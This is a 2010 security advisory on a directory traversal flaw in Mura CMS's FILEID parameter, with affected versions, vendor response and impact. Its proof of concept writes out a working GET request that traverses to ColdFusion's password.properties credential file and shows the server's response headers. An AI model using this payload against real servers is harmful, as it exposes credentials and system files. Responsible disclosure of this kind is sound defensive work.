    * Title: Blue River Mura CMS Directory Traversal
    * Version: 1.0
    * Issue type: Directory Traversal
    * Affected vendor: Blue River Interactive Group
    * Release date: 24/09/2010
    * Discovered by:  Steven Seeley & Rohan Stelling

Summary

Mura CMS is an open source content management system which is built upon the Adobe Cold Fusion platform.

stratsec researchers Rohan Stelling and Steven Seeley have identified an arbitrary file download issue in the Mura CMS as distributed by BlueRiver Interactive Group. The issue permits access to local files on the server.

As a result the vendor has released a patch addressing the issue and notified their customer base. stratsec would like to acknowledge the speedy response time by Blue River Interactive Group, producing a patch within 48 hours of notification.

Description

The ‘fileManager.cfc’ component present in affected Mura CMS versions does not correctly sanitise the ‘FILEID’ parameter before using the parameter to form file paths. As a result it possible for an attacker to supply malicious input which causes a different file to be accessed other than that intended.

Impact

The issue permits an unauthenticated attacker to download arbitrary files from a system exposing an unpatched Mura CMS version. This issue may result in the unauthorised disclosure of sensitive user or system files.

Affected products

 

    * Mura CMS 5.1 < 5.1.498
    * Mura CMS 5.2 < 5.2.2809
    * Sava CMS 5.2 (Unknown)


Proof of concept

Files can be retrieved from the server using a specially crafted URI such as the one given below,
Page: /tasks/render/file/
Parameter: FILEID
Request Type: GET
PoC: http://{hostname}/{mura_ _location}/tasks/render/file/?FILEID=..\..\..\..\..\..\ColdFusion9\lib\password.properties

The resulting HTTP request looks

GET /www/tasks/render/file/?FILEID=..\..\..\..\..\..\ColdFusion9\lib\password.properties HTTP/1.1

The payload will needs to be modified to reference a file on the system, relative to the installation path.
Upon receiving such a request, the server responds with a 200 OK containing the file specified. For the PoC above (retrieving ‘password.properties’) the server returned the following response:

HTTP/1.0 200 OK
Connection: close
Content-Disposition: inline;filename=""
Content-Type: /
Content-Length: 141
